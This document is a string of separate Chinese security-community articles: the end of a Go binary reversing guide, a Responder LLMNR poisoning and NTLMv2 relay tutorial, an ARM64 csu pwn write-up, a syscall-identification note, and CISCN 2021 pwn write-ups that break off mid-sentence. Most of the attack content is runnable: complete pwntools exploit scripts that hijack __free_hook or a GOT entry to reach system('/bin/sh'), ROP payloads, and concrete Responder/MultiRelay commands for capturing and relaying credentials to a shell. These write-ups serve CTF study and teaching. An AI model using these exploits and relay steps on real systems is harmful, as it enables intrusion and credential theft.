使用go关键词可以创建并运行协程，它在汇编上会被表现为由`runtime_newproc(fn,args?)`，它会封装函数与参数并创建协程执行信息，并在适当时候被执行，如：
这里执行了`go
loop()`，由于没有参数此处newproc只被传入了函数指针这一个参数，否则会传入继续传入函数所需的参数，在分析时直接将函数作为在新的线程里执行即可。
#### Ⅶ. 延迟执行 defer
延迟执行一般用于资源释放，它会先注册到链表中并在当前调用栈返回前执行所有链表中注册的函数，在汇编层面会表现为`runtime_deferproc`，例如常见的锁释放操作：
这里它第一个参数代表延迟函数参数字节大小为8字节，第二个参数为函数指针，第三个参数为延迟执行函数的参数，若创建失败会直接返回，返回前会调用`runtime_deferreturn`去执行其他创建的延迟执行函数，一般我们是不需要关注该语句的，因此可以直接跳过相关指令并向左侧继续分析。
#### Ⅷ. 调用c库 cgo
Go可以调用C代码，但调用C会存在运行时不一致，Go统一将C调用看作系统调用来处理调度等问题，另一方类型不一致才是我们需要关注的重点，为了解决类型与命名空间等问题cgo会为C生成桩代码来桥接Go，于是这类函数在Go语言侧表现为`XXX_CFunc__YYY`，它封装参数并调用`runtime_cgocall`转换状态，在中间表示为`NNN_cgo_abcdef123456_CFunc__ZZZ`，这里它解包参数并调用实际c函数，例如：
此处它调用了libc的`void* realloc(void*,
newsize)`，在Go侧它封装成了`os_user__Cfunc_realloc`，在该函数内部参数被封装成了结构体并作为指针与函数指针一起被传入了`cgocall`，而函数指针即`_cgo_3298b262a8f6_Cfunc_realloc`为中间层负责解包参数等并调用真正的C函数：
#### Ⅸ. 其他
还有些内容，如看到以panic开头的分支不分析等不再演示，分析时遇到不认识的三方库函数和标准库函数直接看源码即可。
### 四、参考链接
1. <https://draveness.me/golang/>
2. <https://tiancaiamao.gitbooks.io/>
3. <https://tiancaiamao.gitbooks.io/go-internals/content/zh/02.3.html>
4. <https://www.pnfsoftware.com/blog/analyzing-golang-executables/>
5. <https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/>
6. <https://research.swtch.com/interfaces> | 社区文章 |
# Responder工具
Responder下载地址： <https://github.com/lgandx/Responder>
Responder工具可以污染LLMNR和NBT-NS请求。
首先假设连接到Windows活动目录环境（Windows Active directory），当网络上的设备尝试用LLMNR和NBT-NS请求来解析目的地机器时，Responder就会伪装成目的地机器。当受害者机器尝试登陆攻击者机器，responder就可以获取受害者机器用户的NTLMv2哈希值。
在demo攻击中，讨论了2种攻击。
* 获取NTLMv2哈希值，并使用Hashcat密码破解工具。
* 使用Responder和Multirelay.py脚本，脚本负责执行NTMLMv2哈希值中继到SMB签名未启用的机器上。如果中继成功，就可以访问目标机器。
# 获取NTLMv2哈希
运行Responder，用参数`-l`指定机器的以太网接口，示例中是eth0
命令为：
`python Responder.py -I <Interface_card_name>`
比如
`python Responder.py -I eth0`
Responder监听模式：
如果网络上的用户需要访问没有IP或用户类型分析名的share，机器会触发到网络的LLMNR请求，responder会回答说它是该机器，访问该资源需要提供NTLMv2
hash。
这里，用户
box1（IP`192.168.56.101`）尝试访问名为`pwned68`的共享分区。当机器触发LLMNR请求时，Responder会响应该请求并从域名DC2获取用户box1的NTLMv2哈希值。
现在需要破解哈希值来获取明文密码。Hashcat是执行哈希破解最快的工具，支持CPU/GPU哈希破解和多种哈希格式。Hashcat官方下载地址为：<https://hashcat.net/hashcat/>
。
密码词典下载地址：<https://hashkiller.co.uk/downloads.aspx> 。
在获取了明文密码后，就可以用该域名哎登陆Windows域名上的其他机器来尝试是否可以访问其他机器上的敏感信息。
# 获取shell访问权限
Responder是少有的可以通过中继NTLMv2哈希来获取网络中机器的shell访问权限。获取哈希值可以帮助攻击者获取shell访问权限。正常的Domain用户哈希并不能帮助获取shell访问权限。但admin用户尝试访问也有的share，`multirelay.py`脚本会用获取的NTLMv2哈希值来登陆Windows域网络一部分的机器中。
为了设置这些，需要修改`Responder.conf`文件。打开`Responder.conf`文件，将`SMB`和`HTTP`的值改为`off`。这样responder就不会获取哈希值，而是`Multirelay.py`来完成这一任务。
然后，运行`RunFinger.py`脚本来识别将`SMB signing`设置为`False`的网络中的HOST机器，因为只能对`SMB
signing`设置为`True`的机器发起攻击。脚本在responder的`tools`目录中可以查看。`RunFinger.py`脚本会预测IP的范围来检查现有的HOSTS的`SMB
signing`是否启用。运行`RunFinger.py`脚本的命令为：
python RunFinger.py -i IP_Range
示例：
python RunFinger.py -i 192.168.56.100-200
脚本输出结果：
这里只有3个机器。其中一个是域名控制器机器，另一个是Windows域中的Windows 7主机。IP为`192.168.56.101`的机器`SMB
Signing`未启用。因此可以对该机器进行NTMLv2哈希中继攻击。在发现了这些机器后，可以设置responder和`multirelay.py`脚本来访问`SMB
Signing`未启用的机器。运行下面的命令可以开启Responder和Multirelay.py：
在第一个终端上，开启responder：
python Responder.py -I <interface_card>
在第二个终端上，运行`Multirelay.py`脚本：
python MultiRelay.py -t <target_machine_IP> -u ALL
两个脚本的动作如下：
域中的`admin`用户会尝试访问不存在的share，responder会污染响应消息。`Multirelay.py`会通过获取NTLMv2哈希值来完成其他动作，并与目标机器相关联。成功中继后就可以获取目标机器上的shell访问权限。
在获取shell权限后，就可以执行加载Mimikatz这样的动作了。
<https://github.com/incredibleindishell/Windows-AD-environment-related/tree/master/Responder> | 社区文章 |
# arm架构下pwn的csu利用
arm架构下的csu利用与x86架构下的有很多相似的点
###### x86:
###### arm:
###### 首先看一下gadget1：
LDP X19, X20, [SP,#var_s10]
LDP X21, X22, [SP,#var_s20]
LDP X23, X24, [SP,#var_s30]
LDP X29, X30, [SP+var_s0],#0x40
RET
`ldp指令`: load address pair 读取一对地址
`LDP X19, X20, [SP,#var_s10]`会将`SP+var_s10`地址的内容给到X19和X20寄存器
其中`X19`传入`SP+var_s10`的内容，`X20`传入`SP+var_s10`+0x8的内容
`LDP X29, X30, [SP+var_s0],#0x40
`会再`SP+var_s0`地址的内容传给X29和X30寄存器后，再将sp指针增加0x40字节
`ret` 返回到x30寄存器所存储的值
x30过程链接寄存器PLR (Produce Link Register) ，x30寄存器存放的是函数的返回地址
当ret指令执行时刻，会寻找x30寄存器保存的地址值
###### gadget2:
LDR X3, [X21,X19,LSL#3]
MOV X2, X24
ADD X19, X19, #1
MOV X1, X23
MOV W0, W22
BLR X3
CMP X20, X19
B.NE loc_4007F0
前四个参数存储在寄存器x0-x3中
`LDR X3, [X21,X19,LSL#3]`将X19逻辑左移3位后，再加上X21寄存器的值，然后赋给X3
`BLR X3`会跳转到X3储存的地址，并将下一指令的地址存到X30寄存器中
### 例题bpc_csu
开始布置`write(1,[email protected],0x8)`，来获取libc基址
pl = b'a'*0x88 + p64(g1) #x29 x30
pl+= p64(main) + p64(0x100000000) #其实这里写什么都无所谓，主要是起个抬栈作用
pl+= p64(0) + p64(g2) #x29 x30
pl+= p64(0) + p64(1) #x19 --0 x20 --1
pl+= p64(elf.got['write']) + p64(1) ##x21 --addr x22 --x0
pl+= p64(elf.got['write']) + p64(0x8) #x23 --x1 x24 --x2
pl+= p64(0) +p64(main) #x29 x30
因为read读入的空间，我们的sp抬了0x90
ret: 0x400798
这里执行后sp+0x20
ret: g1
跳转到g1后我们可以发现sp的值，我们的布置可以使g2可以放入x30
执行完g1
执行完g2
布置好了`write(1,[email protected],0x8)`
跳转到x3 -> write，开始leak
write_addr = uu64(r(6))
li('write_addr'+hex(write_addr))
libcbase = write_addr - libc.sym['write']
li('libcbase'+hex(libcbase))
system = libcbase + libc.sym['system']
li('system'+hex(system))
获取了libc基址后，我们就可以布置`read(0,bss+0x100,0x20)`来送入shellcode
pl = b'a'*0x88 + p64(g1) #x29 x30
pl+= p64(main) + p64(0x100000000)
pl+= p64(0) + p64(g2) #g1: x29 x30
pl+= p64(0) + p64(1) #g1: x19 --0 x20 --1
pl+= p64(elf.got['read']) + p64(0) #g1: x21 --addr x22 --x0
pl+= p64(bss1) + p64(0x20) #g1: x23 --x1 x24 --x2
pl+= p64(0) + p64(main) #x29 x30
pl送入
g1执行完
g2执行完
布置好了`read(1,bss+0x100,0x20)`后，将shellcode送入
pause()
p.sendline(p64(system)+b'/bin/sh\x00')
下面跳到main
布置`system('/bin/sh',0,0)`
pl = b'a'*0x88 + p64(g1)
pl+= p64(main) + p64(0x100000000)
pl+= p64(0) + p64(g2) #x29 x30
pl+= p64(0) + p64(1) #x19 --0 x20 --1
pl+= p64(bss1) + p64(bss1+8) #x21 --addr x22 --x0
pl+= p64(0) + p64(0) #x23 --x1 x24 --x2
pl+= p64(0) + p64(main) #x29 x30
p.sendlineafter('Hello, World\n',pl)
执行g1
执行g2
执行`system('/bin/sh',0,0)`
| 社区文章 |
来源链接：[rootkiter.com](http://rootkiter.com/2016/12/18/%E6%A0%B7%E6%9C%AC%E9%80%86%E5%90%91%E4%B8%AD%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%9A%84%E8%AF%86%E5%88%AB%E6%96%B9%E6%B3%95.html)
Author： **[RootKiter](https://github.com/rootkiter)**
### 无符号表情况下的逆向
LINUX平台下的程序，可以通过strip程序进行精简，精简过的可执行文件会变小，同时又丝毫不影响执行效率。但这种情况会给程序逆向带来困扰。由于没有符号表的支持，所有函数在IDA中都会被显示为sub_xxx的形式，这会给逆向工程带来麻烦。
这里简单记录一下各常见平台下的系统调用识别方法。
### 常见平台的系统调用识别方法
无论哪个平台的系统调用都有两个关键点，一个是调用指令，另一个是调用号。
系统调用的具体功能由系统调用号制定，调用号和功能的对应关系要参考相关头文件。
我把目前所有能找到的系统调用有关的头文件，都放在了github 上的Reverse-bins项目中，供查阅。
### X86
调用指令 | INT 80h
---|---
寄存器 | eax
参考表 | [x86系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/i586_unistd_32.h)
### ARM
ARM 下的系统调用，有两种，一种是带参数的，另一种是指令调用时参数指定，分别如下:
**寄存器指定**
调用指令 | SVC 0
---|---
寄存器 | r7
参考表 | [ARM系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/armv5l_unistd.h)
**指令内指定**
调用指令 | SVC 0xXXXXX
---|---
寄存器 |
参考表 | [ARM系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/armv5l_unistd.h)
### MIPS
调用指令 | syscall 0
---|---
寄存器 | $v0
参考表 | [MIPS系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/mips_unistd.h)
### PPC
调用指令 | sc
---|---
寄存器 | r0
参考表 | [PPC系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/powerpc-440fp_unistd.h)
### SH4
调用指令 | trapa #h’10
---|---
寄存器 | r3
参考表 | [SH4系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/sh4_unistd_32.h)
### SPC
调用指令 | ta 0x10
---|---
寄存器 | %g1
参考表 | [SPC系统调用表](https://github.com/rootkiter/Reverse-bins/blob/master/syscall_header/sparc_unistd.h)
### 结
这里记录了无符号表时，系统调用函数的识别方法，可用于LINUX下逆向参考。
这种对照关系也可以在IDA脚本进行实现，以节省逆向时间，在分析MIRAI样本的工作中，大概能节约30%的分析时间。
* * * | 社区文章 |
# CISCN 2021 Final Break环节 Pwn Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## cissh
这道题是最简单的一道题目，比赛现场大概有十几支队伍做出来了。
出简单的题目对自己队伍其实蛮不利的，因为如果抽到了自己的题目，比赛过程中会排除自己的题目，而别人都是难题，就很容易爆零。
这是一道 C++ 程序，题目的难度主要在于逆向部分，但是由于比赛现场时间有限，所以这里推荐采用盲测 + 简单静态分析的手法来寻找漏洞。
可以找到程序中存在 Manager::initFuncTable 函数用于初始化
结合里面的字符串可以猜测到对应的传参与 Linux Shell 类似。
程序中存在 ln 操作可以软链接一个文件，但是源文件删除后 ln 后的内容仍然存在，通过盲测触发了一个 double free 报错
这意味着文件“b”还在使用文件“a”的数据指针，存在 UAF，我们可以通过
touch a
vi a
ln b a
rm a
vi b #uaf
这样来构造出一个 UAF
有了 UAF 之后就直接填满 Tcache 后利用 unsortedbin 泄露出 libc_base，再修改 tcache 的 next 指针为
**free_hook，两次申请后得到** free_hook，劫持__free_hook 为 system，再 free(‘/bin/sh\’); 来执行
system(‘/bin/sh’); 即可。
**Exp 脚本**
from pwn import *
elf = None
libc = None
file_name = "./cissh"
#context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def touch(name):
sh.sendlineafter("\x1B[31m$ \x1B[m", "touch " + name)
def vi(name, content):
sh.sendlineafter("\x1B[31m$ \x1B[m", "vi " + name)
sh.sendline(content)
def cat(name):
sh.sendlineafter("\x1B[31m$ \x1B[m", "cat " + name)
def ln(name1, name2):
sh.sendlineafter("\x1B[31m$ \x1B[m", "ln " + name1 + " " + name2)
def rm(name):
sh.sendlineafter("\x1B[31m$ \x1B[m", "rm " + name)
def pwn(sh, elf, libc):
context.log_level = "debug"
for i in range(8):
name = 'a' + str(i)
touch(name)
vi(name, str(i) * 0x100)
ln('b', 'a7')
ln('c', 'a6')
for i in range(8):
name = 'a' + str(i)
rm(name)
cat('b')
libc_base = get_address(sh, True, info="libc_base:\t", offset=-(96 + 0x10 + libc.sym['__malloc_hook']))
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
vi('c', p64(free_hook_addr))
touch('d')
vi('d', '/bin/sh\x00' * (0x100 // 8))
touch('e')
vi('e', p64(system_addr) * (0x100 // 8))
rm('d')
#gdb.attach(sh)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
感谢北邮的师傅带来这道签到题~
## Message_Board
题目实现了一个 httpd 服务器，与常规的 Web 服务器不同的是，这道题输入数据的入口是 stdin，所以对于调试来说方便了许多。
由于代码比较复杂，所以找到漏洞比较难，我这里提及一下我本来认为可能会存在的漏洞（目录穿越）
目录穿越漏洞是在 Web 服务器题目中经常会出现的漏洞，如果遇到这种类似的题目一定需要注意
比如这次比赛 AWD 环节中的 **pwn-hmos** 这题就可以利用 **/setconfig.cgi** 功能进行目录穿越，穿越到根目录读取到
flag.txt 文件
还有纵横杯的 baby_httpd 这题可以用 **%66lag** 来绕过 flag 关键字检测
而在这道题中，对于路径穿越做了严格的检测，所以不存在这类的漏洞（有师傅知道怎么绕过的可以说说~）
这道题的漏洞在于
这部分在读取 Content-Length 的时候，如果 Cookie 中的 Message 结尾不是 |，会对 Content_Len –
1，并且这个操作是在对 size 检测之后进行的，所以我们构造合适的 Content-Length，就可以让 Content_Len 变成
0xFFFFFFFF，使得这里存在一个栈溢出。
但是这个栈溢出和平常的栈溢出不同，因为 fread 函数相当于对每个对象调用 size 次 fgetc 函数，所以一定要求输入长度和 size
一致才可以返回，不过我这里由于 size 长度很长，所以不可能输入长度和 size 一致，这里有两种方法来终止程序读取。
1.读入非常长的内容，直到 fgetc 传入的指针是错误的（超出栈空间，发生异常），这时候 fread 函数就会直接返回。
2.使用 sh.shutdown_raw(‘send’)来关闭输入管道，fread 函数就会返回，这个操作可见
**VNCTF2021-WriteGiveFlag** 这题的做法。
这里暂时没有发现什么比较方便的 getshell 方法，主要是因为程序中的输出输入等函数都依赖于传入 FILE 指针，例如 fputs
这样的函数，难以泄露出内容，也难以读入内容，而栈溢出读入的目标是栈上，但是我们不知道栈的位置。由于无法泄露出内容，所以没有 stdout
的位置，没有这个位置也无法泄露出内容。这里也因为难以在数据包中存在\x00 内容，所以很难利用下面这部分内容将 ret2dlresolve 的数据写到
bss 段上。
本来想利用这一段内容把 ret2dlresolve 伪造的数据写到 bss 段上（http_data），但是由于\x00 内容会截断文本，导致后续判断出错。
所以在比赛过程中，为了快速的拿到 flag，我这里认为最好的方法还是
利用这里的 read_file_data 函数，通过传参 path 指针（数据放在 bss 段上），从而来得到 flag 信息。
这道题的利用脚本虽然很短，大部分的时间都在考虑如何利用这里的栈溢出和调试上。
**Exp 脚本**
from pwn import *
elf = ELF('./httpd')
sh = process('./httpd')
context.log_level = "debug"
#gdb.attach(sh, "b *0x08049501")
#gdb.attach(sh, "b *0x08048A43")
flag_name = 'flag.txt'
payload = '''POST /submit HTTP/1.1
Content-Length: 0
Cookie: Username=wjh;Messages=%s
''' % flag_name
payload = payload.replace('\n', '\r\n')
sh.send(payload)
gadget_addr = 0x08049302
http_data_addr = 0x0804C180
rbp_offset = 0x42c
payload2 = 'a' * (0x82E - len(flag_name) - 1) + p32(http_data_addr + 0x1e + rbp_offset) + p32(gadget_addr) + p32(elf.plt['exit'])
payload2 = payload2.ljust(0x5000, '\x00')
sh.send(payload2)
#sh.shutdown_raw('send')
sh.interactive()
## allocator
从这题开始的难度就飙升了，这道题的漏洞点也非常值得大家学习~
这道题的大概思路可以学习一下 [津门 AWD hpad](https://www.anquanke.com/post/id/243013) 这道题
程序使用 C++ 编写，稍微加入了一些加密操作用于考察逆向能力。
题目中使用 mmap 来申请一块空间，并且自行管理，并且在申请堆块的时候没有考虑空间是否会满，存在通过 read
函数传递的参数可能会是无效内存从而造成异常返回 -1。
在 read_content 函数中由于实现问题就会造成无限的向上溢出（和 hpad 那题漏洞一致）
通过这个函数向上溢出覆盖到程序的 free 堆块 链上，这样可以两次申请就得到任意地址任意读写权限。（但是需要注意的是程序实现的堆块会对 size
内容进行验证，要求输入的 size 和 伪造指针的 size 位一致才会取出，否则会继续遍历）
由于程序是使用 glibc2.31，所以这道题直接覆盖某个 got 指针为 one_gadget 这样的方法行不通（glibc2.31 的
one_gadget 要求苛刻），所以这里需要考虑劫持 got[@atoi](https://github.com/atoi "@atoi") 为
system 函数，在下次传参的时候传入/bin/sh 就可以执行 system(‘/bin/sh’)。
这里我本来考虑直接劫持链到 got[@atoi](https://github.com/atoi "@atoi")
上，结果发现程序至少输入一个字节的内容，这样会覆盖到 got 表上的内容，导致后续调用的时候出错。
并且程序限制功能次数为 10 次，所以无法进行两次利用（第一次泄露 libc，第二次修改 atoi）。
**所以这里最后的利用方法是通过劫持保存堆块指针的那块空间，然后修改堆块指针实现任意读写。**
**读 - > got[@atoi](https://github.com/atoi "@atoi") 用来泄露 libc，写 -> 修改
got[@atoi](https://github.com/atoi "@atoi") 为 system 来 getshell。**
**Exp 脚本**
from pwn import *
from Crypto.Util.number import *
elf = None
libc = None
file_name = "./allocator"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def ToString(data):
ans = 0
for i in data[::-1]:
ans = (ans * 2) + (ord(i) - ord('0'))
print hex(ans)
print long_to_bytes(ans)
def edit(idx, content):
sh.sendlineafter(">>", "edit({0});".format(idx))
sh.sendafter("00101110011101101010011000101110011101101111011011000110", content)
def show(idx):
sh.sendlineafter(">>", "show({0});".format(idx))
def free(idx):
sh.sendlineafter(">>", "free({0});".format(idx))
def gain(idx, size, content):
sh.sendlineafter(">>", "gain({0});".format(idx))
sh.sendlineafter("10100110010111101001011011001110:", str(size))
sh.sendafter("00101110011101101010011000101110011101101111011011000110", content)
def pwn(sh, elf, libc):
context.log_level = "debug"
ToString("01110110100101101000011011100110")
ToString("00101110100101100010011010100110")
ToString("11101110111101100001011011001110")
ToString("10100110101001100100111001100110")
ToString("00101110100101100001111010100110")
ToString("01110110111101101001011000101110110001101010111001001110001011101100111001110110100101100000010000100")
ToString("110100101100011011010000110011011100111011010010010")
ToString("00101110011101101010011000101110011101101111011011000110")
gain(0, 0xF00 - 0x100, 'a' * (0xf00 - 0x100)) # 0
gain(1, 0xB0, 'a' * 0xB0) # 1
free(0)
free(1)
#gdb.attach(sh)
gain(4, 0x1e8, p64(0x4043a0) + 'c' * 0x1df + "\n") # 4
gain(5, 0xB0, 'a' * 0xb0)
gain(6, 0x131410c0, p64(0x131410e0) + p64(0) + p64(0) + p64(0) + p64(0x4040b8) + "\n")
show(2)
libc_base = get_address(sh, True, offset=-0x47730, info="libc_base:\t")
system_addr = libc_base + 0x55410
edit(2, p64(system_addr) + p64(0x401186))
sh.sendlineafter(">>", "gain(/bin/sh);")
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
## Binary_Cheater
这道题赛后了解到是 FMYY 出的题目，记得上次做 FMYY 出的 NULL_FXCK
的那题，调了一天，现在都还有些阴影。这次这道题目只调了一下午，也算是有进步了吧~
这道题加了一个 ollvm 控制流平坦化，导致程序代码非常的难看。但是这其实不影响我们看程序的大概逻辑，通过题目给出的 hint
也能大概能知道题目的漏洞点。所以对于这道题我们来重点分析程序的利用方法，而不是如何 **反 ollvm 控制流平坦化**
，这部分内容如果有需要了解的可以看“看雪无名侠大佬的文章”来学习如何使用 Unicorn 来反混淆，关于 Unicorn 的使用方法也可以先学习[使用
unicorn 来自动化解题](https://www.anquanke.com/post/id/246451)这篇文章。
### 程序漏洞和限制条件
1.限制了申请 size 只能在 0x410 和 0x450 之间
2.使用 calloc 函数进行申请
3.没有 exit 功能
4.存在 UAF 漏洞，但是通过一个字段标记使得无法进行 double free。
5.开启沙箱
6.禁用 free_hook 和 malloc_hook
### 漏洞利用
以下使用做题者的角度来思考解题的过程，使得阅读过程非常流程自然。
#### 如何控制程序流程
首先是 calloc 函数和申请 size 只能 UAF 使我想到了 cnitlrt 师傅的[新版本 glibc 下的 IO_FILE
攻击](https://www.anquanke.com/post/id/216290)这篇文章，主要的思想就是通过
_IO_str_overflow 这个函数中的 malloc、memcpy、free 这三个函数组合来达到控制程序流程的目的（任意位置写）。
我们假设 tcache 的某个 size 对应的链表头部被修改成__free_hook，这时候我们触发 FSOP 来执行这一段代码。
1.通过 malloc 申请得到__free_hook
2.通过 memcpy 复制之前伪造好的数据覆盖到__free_hook 上，（例如复制一个 system 指针）
3.通过 free 来释放堆块，同时触发__free_hook 的函数指针。
如果程序没有开启沙箱，这里直接覆盖__free_hook 为 system，然后再调整一下写入起始位置，使得头部数据为’/bin/sh’，即可执行
system(‘/bin/sh’);
如果程序开启了沙箱，那么就可以通过修改__free_hook 为某个 gadget 来通过 setcontext 执行 SROP 来用 ROP
orw。这里需要 gadget 利用是因为 setcontext + 61 从 glibc 2.29 之后变为 rdx 寄存器传参，所以需要控制 rdx
寄存器的内容。这部分的操作如果不熟悉可以看[【PWNHUB 双蛋内部赛】StupidNote
Writeup](http://blog.wjhwjhn.com/archives/155/) 这篇文章。
所以在控制流程之前我们至少需要满足以下两个条件
1.让 tcache 某个 size 对应的链表头部被修改为__free_hook
2.触发 FSOP
#### 如何伪造 tcache 链表头部
这里可以用的方法很多，我这里简单的说说平常可能会用到的方法，然后再根据这道题目限制的条件进行筛选。
1.利用 Tcache Stashing Unlink Attack
利用 Tcache Stashing Unlink 过程中 small bin 放入 tcache 的过程中，伪造 small bin 的内容，并且使用
Large Bin Attack 在伪造指针的 bk 位置写一个可写地址让程序奔溃，结合以上操作可以使得 Tcache 的链表头部变成任意地址。
这部分的内容实际上就是 [house of pig](https://www.anquanke.com/post/id/242640)
这道题目利用的手法，有兴趣的可以前往学习，但是个人认为这个方法不能称作 house of xxx 的手法，并且 cnitlrt 师傅在去年 5
月份就发现了这个利用思路，实在不能称作新的堆利用方法。
这个方法对于这道题来说难以实现，主要是因为这道题限制了申请的 size 为 LargeBin 大小，难以构造出多个 small bin 堆块。
2.利用 Large Bin Attack 攻击 TLS 结构体中的 Tcache 结构体指针
通过 Large Bin Attack 劫持 Tcache 结构体指针，使得 Tcache
结构体内容变为可控内容，从而修改链表头部数据。这里很有可能会出现的问题和 [house of
banana](https://www.anquanke.com/post/id/222948) 这个利用方法一样，由于 ld
版本不同，并且通常情况下题目未给出，导致出现需要爆破偏移的情况。这里我问了 FMYY 师傅，给出的解决方法是在本地起一个 Docker
来计算偏移，利用靶机通常都是使用官方镜像这个点来计算得到稳定的偏移值。
3.利用 Large Bin Attack 攻击 mp_.tcache_bins 来造成 Tcache Struct 溢出利用
这个方法可以通过 [glibc 2.27-2.32 版本下 Tcache Struct
的溢出利用](https://www.anquanke.com/post/id/235821) 这篇文章来学习。这个利用方法也是 cnitlrt
师傅先发现的。大概就是让 Tcache Struct 的内容溢出到可控的空间，相当于控制了链表头部。
这里的方法都是基于 Large Bin Attack 来实现的，这个方法可以通过 [Large Bin Attack
学习记录](http://blog.wjhwjhn.com/archives/147/) 这篇文章来学习，由于这道题是 glibc2.32 的，在
